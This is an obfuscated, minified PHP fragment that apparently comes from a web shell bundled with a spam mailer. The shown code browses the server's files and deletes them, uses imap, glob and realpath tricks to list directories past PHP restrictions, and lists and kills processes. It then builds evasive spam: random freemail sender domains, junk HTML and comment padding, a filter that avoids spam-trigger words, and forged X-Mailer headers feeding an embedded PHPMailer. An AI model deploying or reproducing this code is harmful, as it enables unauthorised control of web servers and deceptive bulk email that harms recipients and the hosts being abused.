$v){$o=z2h($v);$t='f';$t2='d';if(($o==\".\")||($o==\"..\")){$t='d';}elseif(@z4j($v)){$t='d';if(z3j($v)){$t2='l';}}elseif(@z3j($v)){$t='l';}if($t=='f'){if(z5o($v))$t='e';}elseif($t=='l'){if(z5o($v))$t2='e';}if(@isset($filter)&&!z1e($v,$filter,$t))continue;if($with_ls){$inf[$v]=z4d($v,$t);}else{$fileperms=@fileperms($v);if(!$fileperms&&$nix&&$sh_exec){$inf[$v]=z4d($v,$t);}}$row=array();if($o==\".\"){$row[]=$d.$o;$row[]=\"LINK\";}elseif($o==\"..\"){$row[]=$d.$o;$row[]=\"LINK\";}elseif($t=='d'){$row[]=$v;$row[]=(($t2=='l')?\"LINK\":\"DIR\");}elseif($t=='f'||$t=='e'||$t=='l'){$row[]=$v;$row[]=(@isset($inf[$v])?$inf[$v][1]:@filesize($v));}$row[]=(@isset($inf[$v])?$inf[$v][2]:@filemtime($v));if($nix){if(@isset($inf[$v])){$row[]=$inf[$v][3];}else{if($ugstat){$ow=@posix_getpwuid(@fileowner($v));$gr=@posix_getgrgid(@filegroup($v));$row[]=array(($ow[\"name\"]?$ow[\"name\"]:@fileowner($v)),($gr[\"name\"]?$gr[\"name\"]:@filegroup($v)));}else{$row[]=array('unk','unk');}}}$row[]=(@isset($inf[$v])?$inf[$v][4]:$fileperms);$row[]=$t;$row[]=$t2;if(($o==\".\")||($o==\"..\")){if($o=='..')$obj[\"h\"][]=$row;}elseif($t=='l'){$obj[\"l\"][]=$row;}elseif($t=='d'){$obj[\"d\"][]=$row;}elseif($t=='f'||$t=='e'){$obj[\"f\"][]=$row;}}$row=array();$row[]=z9s(\"57\");$row[]=z9s(\"58\");$row[]=z9s(\"59\");if(!$win){$row[]=z9s(\"60\");}$row[]=z9s(\"61\");$row[]=z9s(\"62\");$psort=z5r($sort);if($psort[1]!='a'){$psort[1]='d';}else{$psort[1]='a';}if(!@isset($nohead)||!$nohead){for($i=0;$i<@count($row)-1;$i++){$row[$i]=z5c(array('act','d','filter','sort'=>($i==$psort[0]?$i.($psort[1]==\"a\"?\"d\":\"a\"):$i.$psort[1])),z8v($row[$i].($i==$psort[0]?' '.($psort[1]==\"a\"?'&uarr;':'&darr;'):''),'3',($i==\"1\"?' style=\"text-align: right;\"':'')));}}$v=$psort[0];@usort($obj[\"d\"],\"z3i\");@usort($obj[\"l\"],\"z3i\");@usort($obj[\"f\"],\"z3i\");if($psort[1]==\"d\"){$obj[\"d\"]=@array_reverse($obj[\"d\"]);$obj[\"l\"]=@array_reverse($obj[\"l\"]);$obj[\"f\"]=@array_reverse($obj[\"f\"]);}$obj=@array_merge($obj[\"h\"],$obj[\"d\"],$obj[\"l\"],$obj[\"f\"]);$tab=array();$tab[\"c\"]=array($row);$tab[\"h\"]=array();$tab[\"d\"]=array();$tab[\"l\"]=array();$tab[\"f\"]=array();$i=0;foreach($obj as $a){if(@is_array($a)&&@count($a)>=6){$v=$a[0];$t=$a[(@count($a)-2)];$t2=$a[(@count($a)-1)];$o=z2h($v);$dir=z3p($v);if($fullpath){if(@substr($v,0,@strlen($d))==$d){$disp=@substr($v,@strlen($d));}else{$disp=$v;}}else{$disp=$o;}$disp=z8f($disp,60);$row=array();if($o==\".\"){$row[]=z5c(array('act'=>'ls','d'=>$v),z8n('small_dir','','9').z8v($disp,'10'),$ftarget);$row[]=\"LINK\";}elseif($o==\"..\"){$row[]=z5c(array('act'=>'ls','d'=>$v),z8n('small_dir','','9').z8v($disp,'10'),$ftarget);$row[]=\"LINK\";}elseif($t=='d'){if($t2=='l'){if(@readlink($v))$disp.=\" => \".@readlink($v);$type=\"LINK\";$row[]=z5c(array('act'=>'ls','d'=>$v),z8n('small_dir','','9').z8v($disp,'10',z3c($o,'d')),$ftarget);}else{$type=\"DIR\";$row[]=z5c(array('act'=>'ls','d'=>$v),z8n('small_dir','','9').z8v($disp,'10',z3c($o,'d')),$ftarget);}$row[]=$type;}elseif($t=='f'||$t=='e'||$t=='l'){$ext=@strtolower(z2h($v,'.'));$row[]=z5c(array('act'=>'f','d'=>$dir,'f'=>$o),z8n($ext,'','9',(($t=='e'||$t2=='e')?'1':'')).z8v($disp,'11',z3c($o,'f')),$ftarget);$row[]=(@isset($inf[$v])?$a[1]:z7c($a[1]));}$row[]=(@isset($inf[$v])?$a[2]:@date(\"Y.m.d H:i\",$a[2]));if($nix){$row[]=$a[3][0].\"\/\".$a[3][1];}$row[]=z6y((@isset($inf[$v])?$a[4]:z9r(@fileperms($v))),z6h($v));if($t=='d'&&$o!='..'){$row[]=z0m($v,($ftarget?'1':'')).z4n($v,'ls','replacejsid'.$jsid);$jsid++;}else{if($o!='.'&&$o!='..'){$row[]=z0h($v,$ftarget).z4n($v,'ls','replacejsid'.$jsid);$jsid++;}else{$row[]=z1y($v,$ftarget);}}if(($o=='.')||($o=='..')){if($o=='..')$tab[\"h\"][]=$row;}elseif($t=='l'){$tab[\"l\"][]=$row;}elseif($t=='d'){$tab[\"d\"][]=$row;}elseif($t=='f'||$t=='e'){$tab[\"f\"][]=$row;}$i++;}}$table=@array_merge($tab[\"c\"],$tab[\"h\"],$tab[\"d\"],$tab[\"l\"],$tab[\"f\"]);$trid=0;if(@count($table)>0){echo z9m('2').z7p().z7k('','4').z5x('',\"2\");echo z9m('2');$cnt=0;foreach($table as $row){$r='';$cnt2=0;foreach($row as $v){if($cnt==0){$r.=(($cnt2==0)?z9j($v,'7',\"2\"):(($cnt2==1)?z7e($v,'8'):($cnt2==(@count($row)-1)?z9j($v,'8','3'):z9j($v,'8'))));}else{$r.=(($cnt2==0)?z9j($v,'9'):(($cnt2==1)?z7e($v,'10'):z9j($v,'10')));}$cnt2++;}$trids='';if(@strpos($r,'id=\"replacejsid')!==false){$trids=\"tr\".($cnt%2?'a':'b');$r=@str_replace('id=\"replacejsid','id=\"'.$trids,$r);$trids.=$trid;$trid++;}echo z7i($r,($cnt%2?'0':'1'),$trids);$cnt++;}echo z10w();echo z5j().z7g().z7u().z10w();$arr_select=array(''=>z9s(\"66\"));if(@isset($use_buffer)&&$use_buffer&&(!@isset($nolsmenu)||!$nolsmenu)){$arr_select[\"bcopy\"]=z9s(\"67\");$arr_select[\"bcut\"]=z9s(\"68\");$ucopy=$ucut=0;if(@isset($bcopy)&&@is_array($bcopy)&&@count($bcopy)>0){$arr_select[\"bunsetcopy\"]=z9s(\"69\");$ucopy=1;}if(@isset($bcut)&&@is_array($bcut)&&@count($bcut)>0){$arr_select[\"bunsetcut\"]=z9s(\"70\");$ucut=1;}if($ucopy&&$ucut)$arr_select[\"bunsetall\"]=z9s(\"71\");}$arr_select[\"delete\"]=z9s(\"72\");echo z0p('ls','lsall',z9b('act').z9b('d'),$arr_select);}}else{if(z7r('imap_open')&&z7r('imap_list')&&@version_compare(@phpversion(),\"5.2.0\")<=0)$sls_arr[\"imap\"]=\"imap_list (safe_mode \/ PHP <= 5.1.2)\";if(z7r('glob'))$sls_arr[\"glob\"]=\"glob (PHP <= 5.2.x + some others)\";if(z7r('realpath'))$sls_arr[\"realpath\"]=\"realpath (PHP <= 5.2.4 + some others)\";if(@isset($sls_arr[\"glob\"])&&!@isset($submit1)&&!@isset($listdir_func)){$submit1=1;$listdir_func=\"glob\";}elseif(@isset($sls_arr[\"realpath\"])&&!@isset($submit1)&&!@isset($listdir_func)){$submit1=1;$listdir_func=\"realpath\";}if(@count($sls_arr)>0){echo z2b(z9s(\"125\"));echo z6d();echo z9m(\"2\").z6g().z6w();echo z5w('',\"1\");if(@isset($submit1)&&$submit1){switch($listdir_func){case 'imap':$stream=@imap_open('\/etc\/passwd',\"\",\"\");$dir_list=@imap_list($stream,@trim($d),\"*\");for($i=0;$i<@count($dir_list);$i++)echo@htmlspecialchars($dir_list[$i]).\"\\r\\n\";@imap_close($stream);break;case 'glob':z2c($d);break;case 'realpath':z3s($d);break;}}echo z5q();echo z7g().z7u().z10w();echo z10e(z7i(z6x(z5x(\"left\",\"3\").z5c(array(\"act\",\"submit1\"=>\"1\"),z10e(z7i(z9j(z8e(z9s(\"126\")).z5u(\"d\",$d,\"0\",\"\",\"9\").z4a(\"listdir_func\",$sls_arr,\"5\",1).z8v(z9s(\"127\"),\"7\"))),\"2\")).z5j())),\"2\");echo z6d();}else{echo z2b(z9s(\"464\",$d));}}}if($act=='processes'){if(!@isset($sortp))$sortp=($nix?'1a':'0a');$header='';if($nix){$h='ps -aux'.((@isset($grep)&&$grep)?'|grep \"'.$grep.'\"|grep -v grep':'');if(@isset($pid)&&$pid){if(!@isset($sig)||@is_null($sig)){$sig=9;}$header=\" : \".z9s(\"349\",array($sig,$pid)).(@posix_kill($pid,$sig)?z9s(\"350\"):z9s(\"351\"));}}else{$h='tasklist';}$r=z9t($h);echo z2b(z9s(\"348\").$header,'1');if($r){$r=z3q('  ',' ',$r);$ppsort=z5r($sortp);if($ppsort[1]!='a'){$ppsort[1]='d';}else{$ppsort[1]='a';}if($nix){$stack=@explode(\"\\n\",$r);$head=@explode(' ',$stack[0]);if(!@isset($grep)||!$grep){unset($stack[0]);}for($i=0;$i<@count($head);$i++){if($i!=$ppsort[0]){$head[$i]=z5c(array('act','d','pfilter','sortp'=>$i.$ppsort[1]),z8v($head[$i],'3'));}else{$head[$i]=z5c(array('act','d','pfilter','sortp'=>$ppsort[0].($ppsort[1]=='a'?'d':'a')),z8v($head[$ppsort[0]].' '.($ppsort[1]=='a'?'&uarr;':'&darr;'),'3'));}}$head[]=z9s(\"62\");$prcs=array();if(!@isset($pfilter)||@empty($pfilter)||$pfilter=='---'){$bool=0;$pfilter='';}else{$bool=1;}foreach($stack as $line){if(!@empty($line)){$line=@explode(\" \",$line);if(($bool&&$pfilter==$line[0])||!$bool){$line[0]=z5c(array('act'=>'processes','d','sortp','pfilter'=>(($bool&&$pfilter==$line[0])?'---':$line[0])),z8v($line[0],'1',(($line[0]==$cuser)?' style=\"color:'.z9w(\"okcolor\").';\"':'')));$line[10]=@join(\" \",@array_slice($line,10));$line=@array_slice($line,0,11);$line[]=z5c(array('act'=>'processes','d','sortp','pfilter','pid'=>$line[1],'sig'=>'9'),z8v(z9s(\"392\"),\"7\"));$prcs[]=$line;}}}}else{$r=@convert_cyr_string($r,\"d\",\"w\");$stack=@explode(\"\\n\",$r);unset($stack[0],$stack[2]);$stack=@array_values($stack);$stack=@array_slice($stack,1);$head[0]=\"PROGRAM\";$head[1]=\"PID\";if($ppsort[0]>=@count($head)){$ppsort[0]=@count($head)-1;}for($i=0;$i<@count($head);$i++){if($i!=$ppsort[0]){$head[$i]=z5c(array('act','d','sortp'=>$i.$ppsort[1]),z8v($head[$i],'3'));}else{$head[$i]=z5c(array('act','d','sortp'=>$ppsort[0].($ppsort[1]=='a'?'d':'a')),z8v($head[$ppsort[0]].' '.($ppsort[1]=='a'?'&uarr;':'&darr;'),'3'));}}$prcs=array();foreach($stack as $line){if(!@empty($line)){$ln=@explode(\" \",$line);if(@count($ln)>=2)$prcs[]=array($ln[0],$ln[1]);}}}$v=$ppsort[0];@usort($prcs,\"z3i\");if($ppsort[1]==\"d\"){$prcs=@array_reverse($prcs);}$tab=array();if(!@isset($grep)||!$grep){$tab[]=$head;}$tab=@array_merge($tab,$prcs);echo z9m('2');$cnt=0;foreach($tab as $i=>$k){$r='';$cnt2=0;foreach($k as $j=>$v){if($win and $i>0 and $j==2){$v=z7c($v);}if($cnt==0){$r.=(($cnt2==0)?z7l($v,'13','2'):($cnt2==(@count($k)-1)?z7l($v,'13','3'):z7l($v,'13')));}else{$r.=(($cnt2==0)?z7l($v,'14','2'):($cnt2==(@count($k)-1)?z7l($v,'14','3'):z7l($v,'14')));}$cnt2++;}echo z7i($r,($cnt%2?'0':'1'));$cnt++;}echo z10w();}}z3x();function r_random_domain(){$array_email_domains=array(\"aol.com\",\"att.net\",\"bellsouth.net\",\"comcast.net\",\"earthlink.net\",\"email.com\",\"fastmail.fm\",\"gmail.com\",\"googlemail.com\",\"hotmail.com\",\"hushmail.com\",\"inbox.com\",\"incredimail.com\",\"juno.com\",\"live.com\",\"lycos.com\",\"mail.com\",\"mindspring.com\",\"msn.com\",\"pacbell.com\",\"post.com\",\"prodigy.net\",\"rocketmail.com\",\"sbcglobal.net\",\"usa.com\",\"verizon.net\",\"walla.com\",\"yahoo.com\",\"ymail.com\");return strtolower($array_email_domains[(r_rand(0,count($array_email_domains)-1))]);}function get_domain_shell($url){$parse=parse_url($url);$shell_domain=str_replace(array('www.','\\r','\\n'),'',$parse['host']);return $shell_domain;}function get_domain_email($data){$data=explode('@',$data);return $data[1];}function r_add_junk_html($message,$junklevel=10){$notags=strip_tags($message);$msglength=strlen($notags);$junklength=ceil(($msglength\/100)*$junklevel);$currentlength=0;$array_tags=r_split_by_tags($message);if(count($array_tags)==1)return $message;$m_arr=array();foreach($array_tags as $tag){$m_arr[]=array($tag,'');}if($currentlength<$junklength){while($currentlength<$junklength){$needlength=($junklength-$currentlength);if($currentlength<$junklength){$random_tag=r_rand(1,count($m_arr)-1);if(empty($m_arr[$random_tag][1])){$string=r_ucfirst_all(r_random_value('word2',3,8));}else{$bool_lower=r_rand(0,3);$string=r_random_value('word2',3,8);$string=(($bool_lower)?strtolower($string):r_ucfirst_all($string));}$strlen=strlen($string)+1;$currentlength+=$strlen;$m_arr[$random_tag][1]=trim($m_arr[$random_tag][1].\" \".$string);}}}$message='';foreach($m_arr as $array){if(!empty($array[1])){$message.='<span id=\"'.$array[1].'\"><\/span>';}$message.=$array[0];}return $message;}function r_add_junk_comments($message,$junklevel=10){$notags=strip_tags($message);$msglength=strlen($notags);$junklength=ceil(($msglength\/100)*$junklevel);$currentlength=0;$array_tags=r_split_by_tags($message);if(count($array_tags)==1)return $message;$m_arr=array();foreach($array_tags as $tag){$m_arr[]=array($tag,'');}if($currentlength<$junklength){while($currentlength<$junklength){$needlength=($junklength-$currentlength);if($currentlength<$junklength){$random_tag=r_rand(1,count($m_arr)-1);if(empty($m_arr[$random_tag][1])){$string=r_ucfirst_all(r_random_value('word2',3,8));}else{$bool_lower=r_rand(0,3);$string=r_random_value('word2',3,8);$string=(($bool_lower)?strtolower($string):r_ucfirst_all($string));}$strlen=strlen($string)+1;$currentlength+=$strlen;$m_arr[$random_tag][1]=trim($m_arr[$random_tag][1].\" \".$string);}}}$message='';foreach($m_arr as $array){if(!empty($array[1])){$message.='<!-- '.$array[1].' -->';}$message.=$array[0];}return $message;}function r_split_by_tags($html){$parts=explode('<',$html);if(count($parts)<1)return array($html);for($i=0;$i<count($parts);$i++){if($i){$parts[$i]='<'.$parts[$i];}}$array=array();$chunk='';foreach($parts as $part){if(preg_match('\/^<(table|tr|td|div|p|a|span)\/i',$part)){if(!empty($chunk))$array[]=$chunk;$chunk=$part;}else{$chunk.=$part;}}if(!empty($chunk)){$array[]=$chunk;}return $array;}function r_rand($min,$max){$min=intval($min);$max=intval($max);if(function_exists('mt_rand')){if(function_exists('mt_srand')){mt_srand((double)microtime()*1000000);}return mt_rand($min,$max);}if(function_exists('srand')){srand((double)microtime()*1000000);}return rand($min,$max);}function r_ucfirst_all($string){$string=trim(strtolower($string));$parts=explode(\" \",$string);if(count($parts)>0){$change='';foreach($parts as $part){if(!empty($part)){$part=ucfirst($part);if(strpos($part,\"'\")!==false){$start=substr($part,0,strpos($part,\"'\"));$end=substr($part,strpos($part,\"'\")+1);$end=ucfirst($end);$part=$start.\"'\".$end;}if(strpos($part,\"-\")!==false){$start=substr($part,0,strpos($part,\"-\"));$end=substr($part,strpos($part,\"-\")+1);$end=ucfirst($end);$part=$start.\"-\".$end;}if(!preg_match('\/[0-9]\/',$part)){$change.=$part.' ';}}}$string=trim($change);}else{$string=ucfirst($string);}return $string;}function r_random_value($type,$min,$max){$lower=$upper=$ucfirst=0;if($type=='number_value'){return r_rand((int)$min,(int)$max);}elseif($type==\"word2\"){return r_rand_word(r_rand((int)$min,(int)$max));}if(strpos($type,\"_lower\")!==false){$type=str_replace(\"_lower\",\"\",$type);$lower++;}if(strpos($type,\"_upper\")!==false){$type=str_replace(\"_upper\",\"\",$type);$upper++;}if(strpos($type,\"_ucfirst\")!==false){$type=str_replace(\"_ucfirst\",\"\",$type);$ucfirst++;}if($type==\"word\"||$type==\"string\"){$chars=(($type==\"word\")?r_str_split('qwertyuiopasdfghjklzxcvbnm'):r_str_split('qwertyuiopasdfghjklzxcvbnm1234567890'));shuffle($chars);}if(!is_numeric($min)||!is_numeric($max))return '';$min=(int)$min;$max=(int)$max;if($min<0)$min=0;if($min>$max)$max=$min;if($max<1)return '';$return='';$length=r_rand($min,$max);for($i=0;$i<$length;$i++){if($type==\"number\"){$return.=(empty($return)?r_rand(1,9):r_rand(0,9));}elseif($type==\"word\"||$type==\"string\"){$bool=r_rand(0,1);$char=$chars[(r_rand(0,count($chars)-1))];$return.=(($bool)?strtoupper($char):$char);}}if($lower)return strtolower($return);if($upper)return strtoupper($return);if($ucfirst)return r_ucfirst_all($return);return $return;}function r_str_split($string,$split_length=1){if(!function_exists('str_split')){$array=explode(\"\\r\\n\",chunk_split($string,$split_length));array_pop($array);return $array;}return str_split($string,$split_length);}function r_rand_word($length=5){$vowels=array(\"a\",\"e\",\"i\",\"o\",\"u\");$complex_vowels=array(\"ai\",\"au\",\"ea\",\"ee\",\"ie\",\"oo\",\"oa\",\"oi\",\"ou\",\"ua\");$consonants=array(\"b\",\"c\",\"d\",\"g\",\"l\",\"m\",\"n\",\"p\",\"s\",\"t\",\"w\",\"z\",\"v\");$start_consonants=array(\"bl\",\"br\",\"ch\",\"cl\",\"cr\",\"dr\",\"f\",\"fl\",\"fr\",\"gl\",\"gr\",\"h\",\"j\",\"k\",\"kl\",\"kn\",\"kr\",\"pe\",\"ph\",\"pl\",\"pr\",\"qu\",\"rh\",\"sc\",\"sh\",\"sk\",\"sl\",\"sm\",\"sn\",\"sp\",\"st\",\"str\",\"th\",\"tr\",\"tw\",\"v\",\"wh\",\"wr\",\"y\");$complex_consonants=array(\"bl\",\"br\",\"ch\",\"cl\",\"cr\",\"dr\",\"f\",\"fl\",\"fr\",\"gl\",\"gr\",\"h\",\"j\",\"k\",\"kl\",\"kn\",\"kr\",\"ph\",\"pl\",\"pr\",\"qu\",\"rh\",\"sc\",\"sh\",\"sk\",\"sl\",\"sm\",\"sn\",\"sp\",\"st\",\"str\",\"th\",\"tr\",\"tw\",\"v\",\"wh\",\"wr\",\"y\");$endings_consonants=array(\"ch\",\"ck\",\"fe\",\"ff\",\"ft\",\"ke\",\"ld\",\"ll\",\"nd\",\"ng\",\"nk\",\"nt\",\"mg\",\"mp\",\"re\",\"rp\",\"rt\",\"sh\",\"sk\",\"sp\",\"ss\",\"st\",\"th\",);$word='';$done=false;$const_or_vowel=r_rand(1,2);$used_complex_vowels=$used_complex_consonants=0;while(!$done){switch($const_or_vowel){case 1:$use_array=r_rand(0,1);if(empty($word)){$word.=$start_consonants[(r_rand(0,count($start_consonants)-1))];}else{if($use_array==0||$used_complex_consonants){$word.=$consonants[(r_rand(0,count($consonants)-1))];}elseif($use_array==1&&!$used_complex_consonants){$word.=$complex_consonants[(r_rand(0,count($complex_consonants)-1))];$used_complex_consonants++;}}$const_or_vowel=2;break;case 2:$use_array=r_rand(0,1);if(empty($word)){$word.=$vowels[(r_rand(0,count($vowels)-1))];}else{if($use_array==0||$used_complex_vowels){$word.=$vowels[(r_rand(0,count($vowels)-1))];}elseif($use_array==1&&!$used_complex_vowels){$word.=$complex_vowels[(r_rand(0,count($complex_vowels)-1))];$used_complex_vowels++;}}$const_or_vowel=1;break;}if(strlen($word)>=$length){$done=true;}}$word=substr($word,0,$length);if(preg_match('\/('.implode('|',$complex_consonants).'|q'.')$\/',$word,$match)){if(strlen($match[1])==1){$word=substr($word,0,-1).$vowels[(r_rand(0,count($vowels)-1))];}else{$word=substr($word,0,-2).$endings_consonants[(r_rand(0,count($endings_consonants)-1))];}}if(r_bad_word($word))return r_rand_word($length);return $word;}function r_bad_word($word){$word=strtolower($word);$bad_words=array(\"allah\",\"anal\",\"anus\",\"arse\",\"ass\",\"bitch\",\"bloody\",\"bollock\",\"boob\",\"cock\",\"cunt\",\"crap\",\"cum\",\"damn\",\"dick\",\"fag\",\"fart\",\"fuck\",\"gimp\",\"hell\",\"homo\",\"nigga\",\"nigger\",\"penis\",\"piss\",\"poo\",\"pussy\",\"rape\",\"rapist\",\"sex\",\"shit\",\"slut\",\"spastic\",\"tits\",\"twat\",\"vag\",\"vagina\",\"vomit\",\"wank\",\"whore\",\"spam\",\"scam\",\"money\",\"viagra\",\"cialis\",\"free\",\"guarantee\",\"urgent\",\"bank\",\"credit\",\"card\",\"mortage\",\"loan\",\"break\",\"pay\",\"payment\",\"fee\",\"fees\",\"low\",\"need\");return in_array($word,$bad_words);}function r_xmailer($rand=false){$applemail=array(\"X-Mailer: Apple Mail (2.1486)\",\"X-Mailer: Apple Mail (2.1278)\",\"X-Mailer: Apple Mail (2.1257)\",\"X-Mailer: Apple Mail (2.1251.1)\",\"X-Mailer: Apple Mail (2.1084)\",\"X-Mailer: Apple Mail (2.1082)\",\"X-Mailer: Apple Mail (2.1081)\",\"X-Mailer: Apple Mail (2.1078)\",\"X-Mailer: Apple Mail (2.1077)\",\"X-Mailer: Apple Mail (2.1075.2)\");$applemobile=array(\"X-Mailer: iPad Mail (7B367)\",\"X-Mailer: iPad Mail (7B500)\",\"X-Mailer: iPhone Mail (7C144)\",\"X-Mailer: iPhone Mail (7D11)\",\"X-Mailer: iPhone Mail (7E18)\",\"X-Mailer: iPhone Mail (8A293)\",\"X-Mailer: iPhone Mail (8A306)\",\"X-Mailer: iPhone Mail (8B117)\",\"X-Mailer: iPhone Mail (8C148)\",\"X-Mailer: iPhone Mail (8F190)\",\"X-Mailer: iPhone Mail (8G4)\");$microsoft=array(\"X-Mailer: Microsoft Office Outlook 11\",\"X-Mailer: Microsoft Office Outlook 12.0\",\"X-Mailer: Microsoft Outlook 14.0\");$squirrelmail=array(\"X-Mailer: SquirrelMail\/1.4.3a\",\"X-Mailer: SquirrelMail\/1.4.3a-1.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-2.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-3.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-4.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-5.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-6.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-7.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-8.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-9.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-10.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-11.EL4\",\"X-Mailer: SquirrelMail\/1.4.3a-12.EL4\");if($rand){if($rand==\"2\"){$array=array_merge($applemail,$applemobile);}elseif($rand==\"3\"){$array=$applemail;}elseif($rand==\"4\"){$array=$applemobile;}elseif($rand==\"5\"){$array=$microsoft;}elseif($rand==\"6\"){$array=$squirrelmail;}else{$array=array_merge($applemail,$applemobile,$microsoft,$squirrelmail);}return $array[rand(0,count($array)-1)];}return array_merge($applemail,$applemobile,$microsoft,$squirrelmail);}class PHPMailer{public $Version='5.2.28';public $Priority=null;public $CharSet='iso-8859-1';public $ContentType='text\/plain';public $Encoding='8bit';public $ErrorInfo='';public $From='root@localhost';public $FromName='Root User';public $Sender='';public $ReturnPath='';public $Subject='';public $Body='';public $AltBody='';public $Ical='';protected $MIMEBody='';protected $MIMEHeader='';protected $mailHeader='';public $WordWrap=0;public $Mailer='mail';public $Sendmail='\/usr\/sbin\/sendmail';public $UseSendmailOptions=true;public $PluginDir='';public $ConfirmReadingTo='';public $Hostname='';public $MessageID='';public $MessageDate='';public $Host='localhost';public $Port=25;public $Helo='';public $SMTPSecure='';public $SMTPAutoTLS=true;public $SMTPAuth=false;public $SMTPOptions=array();public $Username='';public $Password='';public $AuthType='';public $Realm='';public $Workstation='';public $Timeout=300;public $SMTPDebug=0;public $Debugoutput='echo';public $SMTPKeepAlive=false;public $SingleTo=false;public $SingleToArray=array();public $do_verp=false;public $AllowEmpty=false;public $LE=\"\\n\";public $DKIM_selector='';public $DKIM_identity='';public $DKIM_passphrase='';public $DKIM_domain='';public $DKIM_private='';public $DKIM_private_string='';public $action_function='';public $XMailer='';public static $validator='auto';protected $smtp=null;protected $to=array();protected $cc=array();protected $bcc=array();protected $ReplyTo=array();protected $all_recipients=array();protected $RecipientsQueue=array();protected $ReplyToQueue=array();protected $attachment=array();protected $CustomHeader=array();protected $lastMessageID='';protected $message_type='';protected $boundary=array();protected $language=array();protected $error_count=0;protected $sign_cert_file='';protected $sign_key_file='';protected $sign_extracerts_file='';protected $sign_key_pass='';protected $exceptions=false;protected $uniqueid='';const STOP_MESSAGE=0;const STOP_CONTINUE=1;const STOP_CRITICAL=2;const CRLF=\"\\r\\n\";const MAX_LINE_LENGTH=998;public function __construct($exceptions=null){if($exceptions!==null){$this->exceptions=(boolean)$exceptions;}$this->Debugoutput=(strpos(PHP_SAPI,'cli')!==false?'echo':'html');}public function __destruct(){$this->smtpClose();}private function mailPassthru($to,$subject,$body,$header,$params){if(ini_get('mbstring.func_overload')&1){$subject=$this->secureHeader($subject);}else{$subject=$this->encodeHeader($this->secureHeader($subject));}if(ini_get('safe_mode')or!$this->UseSendmailOptions or is_null($params)){$result=@mail($to,$subject,$body,$header);}else{$result=@mail($to,$subject,$body,$header,$params);}return $result;}protected function edebug($str){if($this->SMTPDebug<=0){return;}if(!in_array($this->Debugoutput,array('error_log','html','echo'))and is_callable($this->Debugoutput)){call_user_func($this->Debugoutput,$str,$this->SMTPDebug);return;}switch($this->Debugoutput){case 'error_log':error_log($str);break;case 'html':echo htmlentities(preg_replace('\/[\\r\\n]+\/','',$str),ENT_QUOTES,'UTF-8').\"<br>\\n\";break;case 'echo':default:$str=preg_replace('\/\\r\\n?\/ms',\"\\n\",$str);echo gmdate('Y-m-d H:i:s').\"\\t\".str_replace(\"\\n\",\"\\n                   \\t                  \",trim($str)).\"\\n\";}}public function isHTML($isHtml=true){if($isHtml){$this->ContentType='text\/html';}else{$this->ContentType='text\/plain';}}public function isSMTP(){$this->Mailer='smtp';}public function isMail(){$this->Mailer='mail';}public function isSendmail(){$ini_sendmail_path=ini_get('sendmail_path');if(!stristr($ini_sendmail_path,'sendmail')){$this->Sendmail='\/usr\/sbin\/sendmail';}else{$this->Sendmail=$ini_sendmail_path;}$this->Mailer='sendmail';}public function isQmail(){$ini_sendmail_path=ini_get('sendmail_path');if(!stristr($ini_sendmail_path,'qmail')){$this->Sendmail='\/var\/qmail\/bin\/qmail-inject';}else{$this->Sendmail=$ini_sendmail_path;}$this->Mailer='qmail';}public function addAddress($address,$name=''){return $this->addOrEnqueueAnAddress('to',$address,$name);}public function addCC($address,$name=''){return $this->addOrEnqueueAnAddress('cc',$address,$name);}public function addBCC($address,$name=''){return $this->addOrEnqueueAnAddress('bcc',$address,$name);}public function addReplyTo($address,$name=''){return $this->addOrEnqueueAnAddress('Reply-To',$address,$name);}protected function addOrEnqueueAnAddress($kind,$address,$name){$address=trim($address);$name=trim(preg_replace('\/[\\r\\n]+\/','',$name));if(($pos=strrpos($address,'@'))===false){$error_message=$this->lang('invalid_address').\" (addAnAddress $kind): $address\";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){throw new phpmailerException($error_message);}return false;}$params=array($kind,$address,$name);if($this->has8bitChars(substr($address,++$pos))and $this->idnSupported()){if($kind!='Reply-To'){if(!array_key_exists($address,$this->RecipientsQueue)){$this->RecipientsQueue[$address]=$params;return true;}}else{if(!array_key_exists($address,$this->ReplyToQueue)){$this->ReplyToQueue[$address]=$params;return true;}}return false;}return call_user_func_array(array($this,'addAnAddress'),$params);}protected function addAnAddress($kind,$address,$name=''){if(!in_array($kind,array('to','cc','bcc','Reply-To'))){$error_message=$this->lang('Invalid recipient kind: ').$kind;$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){throw new phpmailerException($error_message);}return false;}if(!$this->validateAddress($address)){$error_message=$this->lang('invalid_address').\" (addAnAddress $kind): $address\";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){throw new phpmailerException($error_message);}return false;}if($kind!='Reply-To'){if(!array_key_exists(strtolower($address),$this->all_recipients)){array_push($this->$kind,array($address,$name));$this->all_recipients[strtolower($address)]=true;return true;}}else{if(!array_key_exists(strtolower($address),$this->ReplyTo)){$this->ReplyTo[strtolower($address)]=array($address,$name);return true;}}return false;}public function parseAddresses($addrstr,$useimap=true){$addresses=array();if($useimap and function_exists('imap_rfc822_parse_adrlist')){$list=imap_rfc822_parse_adrlist($addrstr,'');foreach($list as $address){if($address->host!='.SYNTAX-ERROR.'){if($this->validateAddress($address->mailbox.'@'.$address->host)){$addresses[]=array('name'=>(property_exists($address,'personal')?$address->personal:''),'address'=>$address->mailbox.'@'.$address->host);}}}}else{$list=explode(',',$addrstr);foreach($list as $address){$address=trim($address);if(strpos($address,'<')===false){if($this->validateAddress($address)){$addresses[]=array('name'=>'','address'=>$address);}}else{list($name,$email)=explode('<',$address);$email=trim(str_replace('>','',$email));if($this->validateAddress($email)){$addresses[]=array('name'=>trim(str_replace(array('\"',\"'\"),'',$name)),'address'=>$email);}}}}return $addresses;}public function setFrom($address,$name='',$auto=true){$address=trim($address);$name=trim(preg_replace('\/[\\r\\n]+\/','',$name));if(($pos=strrpos($address,'@'))===false or(!$this->has8bitChars(substr($address,++$pos))or!$this->idnSupported())and!$this->validateAddress($address)){$error_message=$this->lang('invalid_address').\" (setFrom) $address\";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){throw new phpmailerException($error_message);}return 